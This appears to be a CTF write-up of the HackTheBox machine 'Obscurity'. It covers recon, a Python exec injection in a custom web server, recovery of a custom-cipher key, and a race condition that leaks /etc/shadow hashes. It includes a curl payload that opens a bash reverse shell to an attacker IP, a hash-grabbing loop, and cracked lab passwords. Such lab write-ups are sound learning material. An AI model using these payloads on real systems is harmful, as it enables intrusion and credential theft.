Obscurity
Table of Contents
Obscurity was a medium Linux box that offered completely custom written software. This was a cool concept to explore, because it required diving into source code to spot vulnerabilities. For the foothold, this was fuzzing to find the source of the web server and then spotting a vulnerable exec function based on user input. User required a bit of reverse engineering to decrypt a key used in a custom encryption tool. Finally, root access came from abusing the temporary write of password hashes during login attempts for a custom SSH service.
Logo | Creator | OS | Difficulty | Points | Graph |
---|---|---|---|---|---|
clubby789 | Linux | Medium | 30 |
Recon⌗
I started off as always with my combination of nmap scans. I noticed a web server running on port 8080, and a normal looking OpenSSH service on port 22.
Command 1: nmap -F -oN nmap/quick 10.10.10.168
Command 2: nmap -sC -sV -p 22,8080 -oN nmap/def-script 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
8080/tcp open http-proxy BadHTTPServer
| fingerprint-strings:
...snip...
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...snip...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Finding a Foothold⌗
The website claims to be running completely custom software, and after doing some searching for Obscura I have no reason to suspect otherwise.
There’s an interesting note at the bottom of the home page, however. It says: Message to server devs: the current source code for the web server is in ‘SuperSecureServer.py’ in the secret development directory. This is a super promising hint, because if I can see the source code then maybe I can find a vulnerability. First, I’ll need to figure out what the development directory is. I can use wfuzz for this, trying to enumerate subdirectories with the known file name.
root@gbm-vm:~/htb/obscurity# wfuzz -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py -w wordlist-dev.txt --hs "Document \/.+ could not be found"
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.168:8080/FUZZ/SuperSecureServer.py
Total requests: 343
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000009: 200 170 L 498 W 5892 Ch "develop"
This gives me a hit for the file located at http://10.10.10.168:8080/develop/SuperSecureServer.py. When I visit this page, I get the source code for the server as expected.
Remote Code Execution⌗
I spent some time reading through the source code, trying to find a vulnerability. Fortunately, some comments hinting at inexperienced developers led me to the right spot:
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
This snippet of code explains how the web server handles requests from a client, and the exec function is always fun to see as an attacker. All the format function does in Python is insert the path (which is my user input when I look for a page) to replace the brackets in the info variable. Then exec gets called on the result. The original intent is to execute a string of Python code to set user input as a variable, and this is an incredibly insecure way of doing so.
What this means is that I can do an attack very similar to a SQL injection, but using Python code. It’s a bit unique, but hey it’s custom software. I’ll start tcpdump on my host machine and send a GET request with cURL to inject my own command: curl http://10.10.10.168:8080/\'%3bos.system\(urllib.parse.unquote_plus\(\"ping+-c+1+10.10.15.95\"\)\)%23
Perfect! Now I can use a standard reverse shell (I almost exclusively use the bash revshell from PentestMonkey).
Command: curl http://10.10.10.168:8080/\'%3bos.system\(urllib.parse.unquote_plus\(\"bash+-c+\'bash+-i+%3e%26+/dev/tcp/10.10.15.95/1337+0%3e%261\'\"\)\)%23
Getting User⌗
The first thing I always do with a reverse shell is get a full TTY with Python. Then I see if I can list the contents of any home directories, and here I’m able to see some interesting files in robert’s home directory.
# Check which version of Python is installed
www-data@obscure:/home/robert$ which python3
/usr/bin/python3
# Get the TTY Shell
www-data@obscure:/home/robert$ python3 -c 'import pty;pty.spawn("/bin/bash")'
# List the contents of the home directory
www-data@obscure:/home/robert$ ls
BetterSSH out.txt SuperSecureCrypt.py
check.txt passwordreminder.txt user.txt
Reversing⌗
I’ll check out SuperSecureCrypt.py first, because it might explain the other files I see here. That assumption is correct, because it has code to encrypt and decrypt a file with yet another custom algorithm.
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i', metavar='InFile', type=str, help='The file to read', required=False)
parser.add_argument('-o', metavar='OutFile', type=str, help='Where to output the encrypted/decrypted file', required=False)
parser.add_argument('-k', metavar='Key', type=str, help='Key to use', required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
This definitely took me some time to read through and understand, especially because I don’t have a knack for anything cryptography related. But with a little time and understanding of code, I realized I can use a plaintext file and an envrypted file to get the key used in encryption. The file out.txt gives a hint as well: Encrypting this file with your key should result in out.txt, make sure your key is correct! Because the ciphertext is essentially the result of shifting the plaintext by the offset specified in the key, I can treat it like an arithmetic calculation and get the key. With the key, I can then decrypt passwordreminder.txt.
This is the code I used to decrypt the key (using Python3):
import sys
def getKey(encrypted, plaintext):
pPos = 0
pLen = len(plaintext)
key = ""
for x in encrypted:
pChr = ord(plaintext[pPos])
eChr = ord(x)
keyChr = chr((eChr - pChr) % 255)
key += keyChr
pPos += 1
pPos = pPos % pLen
return key
eFile = input('Enter encrypted file: ')
pFile = input('Enter plaintext file: ')
with open(eFile, 'r', encoding='UTF-8') as f:
eData = f.read()
with open(pFile, 'r', encoding='UTF-8') as f:
pData = f.read()
key = getKey(eData, pData)
sys.stdout.buffer.write(key.encode('utf8'))
The output from this is a long, repeated phrase: alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichw1. This makes sense when you realize that the key isn’t necessarily as long as the ciphertext, but is repeated over and over until the encryption is complete. Therefore, we can see the key is alexandrovich.
User Flag⌗
I’ll use the key to decrypt the password: python3 SuperSecureCrypt.py -d -i passwordreminder.txt -k alexandrovich -o password.txt
This gives us robert’s credentials, which we can use with su and get the user flag (HTB rotates flags now so I don’t have to hide it):
www-data@obscure:/home/robert$ su robert
Password: SecThruObsFTW
robert@obscure:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7
Getting Root⌗
In recon for user, I noticed another folder called BetterSSH. Even more suspicious, when I check sudo -l
I see that robert can run this with sudo.
robert@obscure:/dev/shm$ sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Looking at the source for BetterSSH, I noticed a dangerous section of code:
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
This SSH program is writing a random file to the /tmp/SSH/ directory for a very short time (0.1 seconds). This file contains the password hash of users on the box pulled directly from /etc/shadow. This means I can write a listener to check for these files being created, and attempt to log in as any user I want to get their password hash. This is the code I used to grab the hash as I logged in:
while true; do
if [ `ls -A /tmp/SSH` ]; then
cat $(find /tmp/SSH -type f)
exit
fi
done
When I run BetterSSH and attempt a login as root, I get the password hash for root: $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1. I’ll go ahead and crack this with hashcat: hashcat -m 1800 obscurity-shadow.txt rockyou.txt
. This gives me credentials for root, which I can use to su and get the root flag.
robert@obscure:~$ su root
Password: mercedes
root@obscure:/home/robert# id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:/home/robert# cat /root/root.txt
512fd4429f33a113a44d5acde23609e3